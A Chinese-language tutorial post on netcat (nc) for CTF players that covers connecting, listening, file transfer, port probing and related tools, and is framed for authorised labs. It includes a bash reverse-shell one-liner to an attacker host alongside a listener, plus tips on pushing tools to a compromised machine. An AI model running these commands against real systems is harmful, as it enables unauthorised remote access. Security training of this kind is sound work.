CTF 万能小工具:netcat(nc)的几种用法
连端口、监听、传文件、手搓 HTTP——netcat 在 CTF 里几乎无处不在。
netcat(通常叫 nc)是个特别不起眼但特别好用的工具。它不复杂,就是「读写 TCP/UDP 连接」,但正因为简单,在 CTF 里出现频率极高。
仅限 CTF 靶场和授权环境使用。
最常见的几种用法
连一个端口:
nc 10.0.0.5 80
连上之后可以直接手打 HTTP 请求,比如:
GET / HTTP/1.1
Host: 10.0.0.5
这种「手搓请求」在排查服务、确认 banner 时很好用,比开浏览器或 Burp 快。
监听端口:
nc -lvnp 4444
参数含义:-l 监听、-v 详细输出、-n 不做 DNS 解析、-p 指定端口。
CTF 里常用来接反弹 shell,或者做一个临时服务让靶机连回来。
传文件:
# 接收方
nc -lvnp 4444 > file.tar.gz
# 发送方
nc 10.0.0.5 4444 < file.tar.gz
在没有 scp、没有 HTTP 服务的情况下,这是最快的一招。
探测端口是否开放:
nc -zv 10.0.0.5 22
比 Nmap 轻量,适合快速确认单个端口。
和 socat、ncat 的关系
nc 有很多实现:GNU netcat、OpenBSD netcat、ncat(Nmap 自带)。它们的参数略有差异,比如 -e(执行命令)在部分版本里被移除或默认关闭。
遇到参数不兼容时,可以试 ncat 或 socat。socat 功能更强,能做端口转发、TLS 包装,但语法也更绕。
CTF 里的典型场景
拿反弹 shell。 靶机执行类似 bash -i >& /dev/tcp/attack/4444 0>&1,攻击机 nc -lvnp 4444 接住。这是最经典的一步。
传工具。 拿到 shell 后没有上传通道,用 nc 或者 base64 分块把工具传上去。
手搓协议。 自定义 TCP 服务的题,用 nc 连上去看它发什么、要求你回什么,往往比写脚本更快。
端口敲门。 有些题需要按顺序连几个端口才能开放某个服务,nc 直接连就行。
几个注意点
加密是没有的。 nc 是明文传输,CTF 里无所谓,真实环境别用来传敏感数据。
防火墙可能挡。 反弹 shell 连不回来,先确认出站端口没有被限制,换 80/443 这类常见端口试试。
不同版本参数不同。 -e、-c 的支持情况因实现而异,脚本里最好先确认目标环境。
别把它当扫描器。 扫端口还是用 Nmap,nc 只适合单点确认。
小结
netcat 的定位很朴素:一个能读能写的网络连接。但正因为朴素,它能干的事特别多——连服务、开监听、传文件、接 shell。
CTF 里遇到「需要一个临时网络通道」的场景,先想想 nc 能不能解决,往往能省掉一堆脚本。
留言